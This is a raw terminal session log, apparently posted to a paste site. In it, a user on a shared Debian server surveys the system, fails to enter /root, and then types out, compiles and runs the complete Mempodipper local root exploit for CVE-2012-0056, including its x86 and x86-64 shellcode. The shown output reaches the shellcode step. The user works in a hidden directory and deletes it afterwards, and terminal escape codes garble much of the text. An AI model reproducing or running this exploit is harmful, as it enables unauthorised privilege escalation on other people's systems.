- unix 2 [ ] DGRAM 121284
- unix 2 [ ] DGRAM 8678
- unix 3 [ ] STREAM CONNECTED 6720 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 6719
- unix 3 [ ] STREAM CONNECTED 6710 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 6709
- unix 3 [ ] STREAM CONNECTED 6687 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 6686
- unix 2 [ ] DGRAM 6676
- unix 3 [ ] DGRAM 6378
- unix 3 [ ] DGRAM 6377
- unix 2 [ ] DGRAM 6374
- unix 3 [ ] STREAM CONNECTED 6280
- unix 3 [ ] STREAM CONNECTED 6279
- unix 2 [ ] DGRAM 6236
- unix 3 [ ] STREAM CONNECTED 5940
- unix 3 [ ] STREAM CONNECTED 5939
- unix 3 [ ] STREAM CONNECTED 5888
- unix 3 [ ] STREAM CONNECTED 5887
- unix 2 [ ] DGRAM 5856
- unix 3 [ ] DGRAM 3363
- unix 3 [ ] DGRAM 3362
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kggcc -v
- Using built-in specs.
- COLLECT_GCC=gcc
- COLLECT_LTO_WRAPPER=/usr/lib/gcc/i486-linux-gnu/4.7/lto-wrapper
- Target: i486-linux-gnu
- Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-4' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.7 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --enable-targets=all --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=i486-linux-gnu --host=i486-linux-gnu --target=i486-linux-gnu
- Thread model: posix
- gcc version 4.7.2 (Debian 4.7.2-4)
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd .
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd /
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- bin ca.crt etc initrd.img lib media openvpn.conf proc run selinux sys usr vmlinuz
- boot dev home initrd.img.old lost+found mnt opt root sbin srv tmp var vmlinuz.old
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccat ca.crt
- -----BEGIN CERTIFICATE-----
- MIIEejCCA2KgAwIBAgIJAOEj4wI9UzKTMA0GCSqGSIb3DQEBBQUAMIGEMQswCQYD
- VQQGEwJVUzELMAkGA1UECBMCQ0ExDDAKBgNVBAcTA0xPTDEMMAoGA1UEChMDTE9M
- MQwwCgYDVQQLEwNsb2wxDDAKBgNVBAMTA2xvbDEMMAoGA1UEKRMDbG9sMSIwIAYJ
- KoZIhvcNAQkBFhNzdGFyZmFsbEByaXNldXAubmV0MB4XDTEyMTEyNjA0MTQxMFoX
- DTIyMTEyNDA0MTQxMFowgYQxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJDQTEMMAoG
- A1UEBxMDTE9MMQwwCgYDVQQKEwNMT0wxDDAKBgNVBAsTA2xvbDEMMAoGA1UEAxMD
- bG9sMQwwCgYDVQQpEwNsb2wxIjAgBgkqhkiG9w0BCQEWE3N0YXJmYWxsQHJpc2V1
- cC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCgstS9rflLEnb7
- tKw2HCJa8CtsMBrxXEL3G1yz7R+Ecqpfat4C8xeg8IIc41gaOOUEto7qixEyh0VC
- NpsFmNl2cgD0tia/adYKC5cQ7ov+JuEGxl6FW6MxU1Tl6YGkn3f8wNqkN0/q1QCE
- X0hgutbXGvZzMYWoGeJCI6ql81MVjKQ7txJLvl6S4RnzJ4T6rS30kq8QmfTMq2i0
- AhrUkryG9K6V0EHXol5TsgQO2ymdDsrgpbFjYQ8foY9a7crXudCEAi3UqxwE/NTe
- w+c9+8Wm14F+uYXLQlTw6a/tZlykB2ECTfZx+zlGXCq+eksvng0gd6ancZNIM/uZ
- cDEwdtJ1AgMBAAGjgewwgekwHQYDVR0OBBYEFLK3/1XKI5tP7MUt0Qavtfh073Ge
- MIG5BgNVHSMEgbEwga6AFLK3/1XKI5tP7MUt0Qavtfh073GeoYGKpIGHMIGEMQsw
- CQYDVQQGEwJVUzELMAkGA1UECBMCQ0ExDDAKBgNVBAcTA0xPTDEMMAoGA1UEChMD
- TE9MMQwwCgYDVQQLEwNsb2wxDDAKBgNVBAMTA2xvbDEMMAoGA1UEKRMDbG9sMSIw
- IAYJKoZIhvcNAQkBFhNzdGFyZmFsbEByaXNldXAubmV0ggkA4SPjAj1TMpMwDAYD
- VR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAlQ/uO1msqHz8js/bNxVuxvBc
- 8gnCTP6PrbpMsbutaaeG5NIz9oy9KXgGCnS8VFwOjzfjDXjg/l//RLgugX8XDLRl
- XPmDqyVksJZ7VX1zrhqDCTm4CiRcGPm7Kno23pSf2BncWXKMHvmMeMnFqaumS5Qd
- RvOIsF5jHBuWW+UsG7E7NAfp+5vxXUKKQvjxVuwaiLte/84IMHBOjytmbvAejkIr
- BrexZbd7N6kgCyjJN5yzArdo6YNzIgYO2+dkTy/Rrc+Nr/t7duent2t9++RdkJ+e
- oiBLcF8RYSBFy6VEEUVfd09tjgi9HTE17q9r7cmW0QNo6t1nQyblPMPGz1UOZg==
- -----END CERTIFICATE-----
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccat openvpn.conf
- client
- cipher AES-256-CBC
- remote 199.229.249.189
- port 53
- ca ca.crt
- auth-user-pass
- dev tun
- proto udp
- nobind
- auth-nocache
- script-security 2
- persist-key
- persist-tun
- comp-lzo
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kllsof -P -i -n
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klsof -P -i -n -i -i i -i
- zsh: command not found: lsof-i
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klsof-i -i
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kmman lsof
- [?1049h[?1h= LSOF(8) LSOF(8)[m
- [m
- [1mNAME[0m[m
- lsof - list open files[m
- [m
- [1mSYNOPSIS[0m[m
- [1mlsof[0m [ [1m-?abChKlnNOPRtUvVX[0m ] [ [1m-A[0m [4mA[24m ] [ [1m-c[0m [4mc[24m ] [ [1m+c[0m [4mc[24m ] [ [1m+|-d[0m [4md[24m ] [ [1m+|-D[0m [4mD[24m ] [ [1m+|-e[0m [4ms[24m ] [ [1m+|-f[0m [1m[cfgGn][0m ] [ [1m-F[0m [4m[f][24m ][m
- [ [1m-g[0m [4m[s][24m ] [ [1m-i[0m [4m[i][24m ] [ [1m-k[0m [4mk[24m ] [ [1m+|-L[0m [4m[l][24m ] [ [1m+|-m[0m [4mm[24m ] [ [1m+|-M[0m ] [ [1m-o[0m [4m[o][24m ] [ [1m-p[0m [4ms[24m ] [ [1m+|-r[0m [4m[t[m<fmt>]][24m ] [ [1m-s[0m [4m[p:s][24m[m
- ] [ [1m-S[0m [4m[t][24m ] [ [1m-T[0m [4m[t][24m ] [ [1m-u[0m [4ms[24m ] [ [1m+|-w[0m ] [ [1m-x[0m [4m[fl][24m ] [ [1m-z[0m [4m[z][24m ] [ [1m-Z[0m [4m[Z][24m ] [ [1m--[0m ] [[4mnames[24m][m
- [m
- [1mDESCRIPTION[0m[m
- [4mLsof[24m revision 4.86 lists on its standard output file information about files opened by processes for the following[m
- UNIX dialects:[m
- [m
- Apple Darwin 9 and Mac OS X 10.[567][m
- FreeBSD 4.9 and 6.4 for x86-based systems[m
- FreeBSD 8.2, 9.0 and 10.0 for AMD64-based systems[m
- Linux 2.1.72 and above for x86-based systems[m
- Solaris 9, 10 and 11[m
- [m
- (See the [1mDISTRIBUTION[0m section of this manual page for information on how to obtain the latest [4mlsof[24m revision.)[m
- [m
- An open file may be a regular file, a directory, a block special file, a character special file, an executing text[m
- reference, a library, a stream or a network file (Internet socket, NFS file or UNIX domain socket.) A specific file[m
- or all the files in a file system may be selected by path.[m
- [m
- Instead of a formatted display, [4mlsof[24m will produce output that can be parsed by other programs. See the [1m-F[0m, option[m
- description, and the [1mOUTPUT[0m [1mFOR[0m [1mOTHER[0m [1mPROGRAMS[0m section for more information.[m
- [m
- In addition to producing a single output list, [4mlsof[24m will run in repeat mode. In repeat mode it will produce output,[m
- delay, then repeat the output operation until stopped with an interrupt or quit signal. See the [1m+|-r[0m [4m[t[m<fmt>]][24m[m
- option description for more information.[m
- [m
- [1mOPTIONS[0m[m
- In the absence of any options, [4mlsof[24m lists all open files belonging to all active processes.[m
- [m
- If any list request option is specified, other list requests must be specifically requested - e.g., if [1m-U[0m is speci‐[m
- fied for the listing of UNIX socket files, NFS files won't be listed unless [1m-N[0m is also specified; or if a user list[m
- is specified with the [1m-u[0m option, UNIX domain socket files, belonging to users not in the list, won't be listed[m
- unless the [1m-U[0m option is also specified.[m
- [m
- Normally list options that are specifically stated are ORed - i.e., specifying the [1m-i[0m option without an address and[m
- the [1m-u[0mfoo option produces a listing of all network files OR files belonging to processes owned by user ``foo''. The[m
- exceptions are:[m
- [7m Manual page lsof(8) line 1 (press h for help or q to quit)[27m[K [K[?1l>[?1049l[1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd root[1m/[0m[0m
- cd: permission denied: root
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- bin ca.crt etc initrd.img lib media openvpn.conf proc run selinux sys usr vmlinuz
- boot dev home initrd.img.old lost+found mnt opt root sbin srv tmp var vmlinuz.old
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd tmp[1m/[0m[0m
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- hsperfdata_valcorb tmux-1000
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccat hsperfdata_valcorb[1m/[0m[0m
- cat: hsperfdata_valcorb: Permission denied
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd hsperfdata_valcorb[1m/[0m[0m
- cd: permission denied: hsperfdata_valcorb
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- hsperfdata_valcorb tmux-1000
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd ..
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- bin ca.crt etc initrd.img lib media openvpn.conf proc run selinux sys usr vmlinuz
- boot dev home initrd.img.old lost+found mnt opt root sbin srv tmp var vmlinuz.old
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd run[1m/[0m[0m
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- acpid.pid console crond.reboot initramfs motd.dynamic rsyslogd.pid sshd utmp
- acpid.socket ConsoleKit dbus lock mount screen sshd.pid
- atd.pid console-kit-daemon.pid exim4 minissdpd.pid network sendsigs.omit.d tor
- bitlbee.pid crond.pid initctl minissdpd.sock prosody shm udev
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd ..
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kuuname -a
- Linux magnesium 3.2.0-4-686-pae #1 SMP Debian 3.2.32-1 i686 GNU/Linux
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kpphp -v
- PHP 5.4.4-10 (cli) (built: Nov 24 2012 12:48:13)
- Copyright (c) 1997-2012 The PHP Group
- Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kvvim p v ccd ~
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kmmkdir .bash_q
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd .bash_q[1m/[0m[0m
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kvvim pipe.c
- zsh: command not found: vim
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kvvi pipe.c
- [?1049h[?1h=[1;45r[?12;25h[?12l[?25h[27m[m[H[2J[?25l[45;1H"pipe.c" [New File][2;1H[94m~ [3;1H~ [4;1H~ [5;1H~ [6;1H~ [7;1H~ [8;1H~ [9;1H~ [10;1H~ [11;1H~ [12;1H~ [13;1H~ [14;1H~ [15;1H~ [16;1H~ [17;1H~ [18;1H~ [19;1H~ [20;1H~ [21;1H~ [22;1H~ [23;1H~ [24;1H~ [25;1H~ [26;1H~ [27;1H~ [28;1H~ [29;1H~ [30;1H~ [31;1H~ [32;1H~ [33;1H~ [34;1H~ [35;1H~ [36;1H~ [37;1H~ [38;1H~ [39;1H~ [40;1H~ [41;1H~ [42;1H~ [43;1H~ [44;1H~ [1;1H[?12l[?25h[?25l[mi[?12l[?25h[?25l[?12l[?25h[?25l *
- * CVE-2012-0056[2;17H[K[3;1H */[3;4H[K[4;1H[K[5;1H#define _LARGEFILE64_SOURCE[5;28H[K[6;1H#define _GNU_SOURCE[6;20H[K[7;1H#include <stdio.h>[7;19H[K[8;1H#include <string.h>[8;20H[K[9;1H#include <stdlib.h>[9;20H[K[10;1H#include <sys/types.h>[10;23H[K[11;1H#include <sys/stat.h>[11;22H[K[12;1H#include <sys/socket.h>[12;24H[K[13;1H#include <sys/un.h>[13;20H[K[14;1H#include <sys/wait.h>[14;22H[K[15;1H#include <sys/types.h>[15;23H[K[16;1H#include <sys/user.h>[16;22H[K[17;1H#include <sys/ptrace.h>[17;24H[K[18;1H#include <sys/reg.h>[18;21H[K[19;1H#include <fcntl.h>[19;19H[K[20;1H#include <unistd.h>[20;20H[K[21;1H#include <limits.h>[21;20H[K[22;1H[K[23;1Hchar *prog_name;[23;17H[K[24;1H[K[25;1Hint send_fd(int sock, int fd)[25;30H[K[26;1H{[26;2H[K[27;1H char buf[1];[27;21H[K[28;1H struct iovec iov;[28;26H[K[29;1H struct msghdr msg;[29;27H[K[30;1H struct cmsghdr *cmsg;[30;30H[K[31;1H int n;[31;15H[K[32;1H char cms[CMSG_SPACE(sizeof(int))];[32;43H[K[33;1H[K[34;1H buf[0] = 0;[34;20H[K[35;1H iov.iov_base = buf;[35;28H[K[36;1H iov.iov_len = 1;[36;25H[K[37;1H[K[38;1H memset(&msg, 0, sizeof msg);[38;37H[K[39;1H msg.msg_iov = &iov;[39;28H[K[40;1H msg.msg_iovlen = 1;[40;28H[K[41;1H msg.msg_control = (caddr_t)cms;[41;40H[K[42;1H msg.msg_controllen = CMSG_LEN(sizeof(int));[42;52H[K[43;1H[K[44;1H cmsg = CMSG[44;20H[K[44;20H[?12l[?25h[?25l[1;1H}[1;2H[K[2;2H[K[3;1Hint recv_fd(int sock)
- {
- int n;[5;15H[K[6;1H int fd;[6;16H[K[7;1H char buf[1];
- struct iovec iov;
- struct msghdr msg;
- struct cmsghdr *cmsg;
- char cms[CMSG_SPACE(sizeof(int))];
- [12;10H[K[13;1H iov.iov_base = buf;
- iov.iov_len = 1;[15;1H[K[16;1H memset(&msg, 0, sizeof msg);
- msg.msg_name = 0;
- msg.msg_namelen = 0;
- msg.msg_iov = &iov;
- msg.msg_iovlen = 1;[21;1H[K[22;8H msg.msg_control = (caddr_t)cms;
- msg.msg_controllen = sizeof cms;
- if ((n = recvmsg(sock, &msg, 0)) < 0)
- [14C return -1;[27;8H if (n == 0)[27;20H[K[28;8H return -1;[29;8H cmsg = CMSG_FIRSTHDR(&msg);[30;8H memmove(&fd, CMSG_DATA(cmsg), sizeof(int));[31;8H close(sock);[32;8H return fd;[32;19H[K[33;1H}[34;9H[K[35;1Hunsigned long ptrace_address()
- {[36;9H[K[37;8H int fd[2];[38;8H printf("[+] Creating ptrace pipe.\n");[39;8H pipe(fd);[39;18H[K[40;8H fcntl(fd[0], F_SETFL, O_NONBLOCK);[41;9H[K[42;8H printf("[+] Forking ptrace child.\n");[42;47H[K[43;8H int child = fork();[44;8H if (child) [?12l[?25h[?25l[1;44r[1;1H[34M[1;45r[10;19H {[11;16H close(fd[1]);[12;16H char buf;[13;16H printf("[+] Waiting for ptraced child to give output on syscalls.\n");[14;16H for (;;) {[15;24H wait(NULL);[16;24H if (read(fd[0], &buf, 1) > 0)[17;32H break;[18;24H ptrace(PTRACE_SYSCALL, child, NULL, NULL);[19;16H }[21;16H printf("[+] Error message written. Single stepping to find address.\n");[22;16H struct user_regs_struct regs;[23;16H for (;;) {[24;24H ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);[25;24H wait(NULL);[26;24H ptrace(PTRACE_GETREGS, child, NULL, ®s);
- #if defined(__i386__)
- #define instruction_pointer regs.eip
- #define upper_bound 0xb0000000
- #elif defined(__x86_64__)
- #define instruction_pointer regs.rip
- #define upper_bound 0x700000000000
- #else
- #error "That platform is not supported."
- #endif[36;24H if (instruction_pointer < upper_bound) {[37;32H unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);[38;32H if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)[39;40H return instruction_pointer;[40;24H }[41;16H }[42;8H } else {[43;16H printf("[+] Ptrace_traceme'ing process.\n");[44;16H if (ptrace(PTRACE_TRACEME,[45;1H[K[44;44H[?12l[?25h[?25l[1;44r[1;1H[36M[1;45r[8;43H 0, NULL, NULL) < 0) {[9;24H perror("[-] ptrace");[10;24H return 0;[11;16H }[12;16H close(fd[0]);[13;16H dup2(fd[1], 2);[14;16H execl("/bin/su", "su", "not-a-valid-user", NULL);[15;8H }[16;8H return 0;
- }
- unsigned long objdump_address()
- {[21;8H FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'",,[22;1H "r");[23;8H if (!command) {[24;16H perror("[-] popen");[25;16H return 0;[26;8H }[27;8H char result[32];[28;8H fgets(result, 32, command);[29;8H pclose(command);[30;8H return strtoul(result, NULL, 16);
- }
- unsigned long find_address()
- {[35;8H printf("[+] Ptracing su to find next instruction without reading binary.\n");[36;8H unsigned long address = ptrace_address();[37;8H if (!address) {[38;16H printf("[-] Ptrace failed.\n");[39;16H printf("[+] Reading su binary with objdump to find exit@plt.\n");[40;16H address = objdump_address();[41;16H if (address == ULONG_MAX || !address) {[42;24H printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");[43;24H printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);[44;24H e[?12l[?25h[?25l[1;8H printf("[+] Resolved call address to 0x%lx.\n", address);[1;66H[K[2;8H return address;[2;33H[K[3;1H}[3;41H[K[4;25H[K[5;1Hint su_padding()[5;17H[K[6;1H{[6;9H[K[7;8H printf("[+] Calculating su padding.\n");[7;49H[K[8;8H FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");[9;8H if (!command) {[9;25H[K[10;16H perror("[-] popen");[11;16H exit(1);[12;8H }[12;17H[K[13;8H char result[256];[13;26H[K[14;8H fgets(result, 256, command);[14;37H[K[15;8H pclose(command);[16;15H strstr(result, "this-user-does-not-exist") - result;
- int child(int sock)[19;20H[K[21;8H char parent_mem[256];[21;30H[K[22;1H sprintf(parent_mem, "/proc/%d/mem", getppid());[23;8H printf("[+] Opening parent mem %s in child.\n", parent_mem);[24;8H int fd = open(parent_mem, O_RDWR);[25;8H if (fd < 0) {[25;22H[K[26;8H perror("[-] open");[27;8H return 1;[28;8H }[28;10H[K[29;9Hprintf("[+] Sending fd %d to parent.\n", fd);[30;8H send_fd(sock, fd);[30;27H[K[31;1H return 0;
- }[33;1H[K[34;1Hint parent(unsigned long address)
- {[35;9H[K[36;8H int sockets[2];[36;24H[K[37;8H printf("[+] Opening socketpair.\n");[38;8H if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {[39;17Hperror("[-] socketpair");[39;42H[K[40;16H return 1;[40;27H[K[41;8H }[41;17H[K[42;8H if (fork()) {[42;25H[K[43;16H printf("[+] Waiting for transferred fd in parent.\n");[43;72H[K[44;16H int fd = recv_fd(sock[?12l[?25h[?25l[1;44r[1;1H[28M[1;45r[16;37Hkets[1]);[17;16H printf("[+] Received fd at %d.\n", fd);[18;16H if (fd < 0) {[19;24H perror("[-] recv_fd");[20;24H return 1;[21;16H }[22;16H printf("[+] Assigning fd %d to stderr.\n", fd);[23;16H dup2(2, 15);[24;16H dup2(fd, 2);[26;16H unsigned long offset = address - su_padding();[27;16H printf("[+] Seeking to offset 0x%lx.\n", offset);[28;16H lseek64(fd, offset, SEEK_SET);
- #if defined(__i386__)[31;16H // See shellcode-32.s in this package for the source.[32;16H char shellcode[] =[33;24H "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"[34;24H "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"[35;24H "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"[36;24H "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"[37;24H "\x80";
- #elif defined(__x86_64__)[39;16H // See shellcode-64.s in this package for the source.[40;16H char shellcode[] =[41;24H "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"[42;24H "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"[43;24H "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"[44;24H "\x48\x31\xdb\x6[?12l[?25h[?25l[1;44r[1;1H[34M[1;45r[10;40H66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"[11;24H "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
- #else
- #error "That platform is not supported."
- #endif[15;16H printf("[+] Executing su with shellcode.\n");[16;16H execl("/bin/su", "su", shellcode, NULL);[17;8H } else {[18;16H char sock[32];[19;16H sprintf(sock, "%d", sockets[0]);[20;16H printf("[+] Executing child from child fork.\n");[21;16H execl("/proc/self/exe", prog_name, "-c", sock, NULL);[22;8H }[23;8H return 0;
- }
- int main(int argc, char **argv)
- {[28;8H prog_name = argv[0];[30;8H if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')[31;16H return child(atoi(argv[2]));[33;8H printf("===============================\n");[34;8H printf("=[9C Mempodipper[7C =\n");[35;8H printf("=[10C by zx2c4[9C =\n");[36;8H printf("=[8C Jan 21, 2012[7C =\n");[37;8H printf("===============================\n\n");[39;8H if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')[40;16H return parent(strtoul(argv[2], NULL, 16));[41;8H else[42;16H return parent(find_address());
- }[?12l[?25h[?25l
- :[?12l[?25hwq [?25l"pipe.c" [New File] 287 lines, 7093 characters written
- [?1l>[?12l[?25h[?1049l[1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kggcc pipe.c[1m [0m[0m -O piper
- gcc: error: piper: No such file or directory
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kgcc pipe.c -O piper
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- a.out pipe.c
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [K../. ccjm c chmod 777 a.out[1m [0m[0m
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [K../a.out[1m [0m[0m
- ===============================
- = Mempodipper =
- = by zx2c4 =
- = Jan 21, 2012 =
- ===============================
- [+] Ptracing su to find next instruction without reading binary.
- [+] Creating ptrace pipe.
- [+] Forking ptrace child.
- [+] Waiting for ptraced child to give output on syscalls.
- [+] Ptrace_traceme'ing process.
- [+] Error message written. Single stepping to find address.
- [+] Resolved call address to 0x8049a50.
- [+] Opening socketpair.
- [+] Waiting for transferred fd in parent.
- [+] Executing child from child fork.
- [+] Opening parent mem /proc/21209/mem in child.
- [+] Sending fd 6 to parent.
- [+] Received fd at 6.
- [+] Assigning fd 6 to stderr.
- [+] Calculating su padding.
- [+] Seeking to offset 0x8049a36.
- [+] Executing su with shellcode.
- ^C
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- a.out pipe.c
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kls./a.out
- I'm gay
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [KLLOL
- zsh: command not found: LOL
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccat a.out[1m [0m[0m
- #!/bin/bash
- echo "I'm gay"
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kllsl ccd ..
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls -la
- total 72
- drwxr-xr-x 3 mmaton mmaton 4096 Jan 9 21:58 .
- drwxr-xr-x 36 root root 4096 Jan 9 21:20 ..
- -rw------- 1 mmaton mmaton 16 Jan 9 21:42 .bash_history
- -rw-r--r-- 1 mmaton mmaton 220 Jan 9 21:20 .bash_logout
- drwx------ 2 mmaton mmaton 4096 Jan 9 21:59 .bash_q
- -rw-r--r-- 1 mmaton mmaton 3544 Jan 9 21:43 .bashrc
- -rw-r--r-- 1 mmaton mmaton 675 Jan 9 21:20 .profile
- -rw------- 1 mmaton mmaton 33960 Jan 9 21:44 .zcompdump
- -rw------- 1 mmaton mmaton 5 Jan 9 21:44 .zsh_history
- -rw------- 1 mmaton mmaton 1295 Jan 9 21:44 .zshrc
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Krrm -rf .bash
- [J.bash_history .bash_logout .bash_q/ .bashrc[A[0m[27m[24m [11Crm -rf .bash[K) _q[1m/[0m[0m
- [J[1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kllogout
- logout: not login shell
- [1m[7m%[27m[1m[0m
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement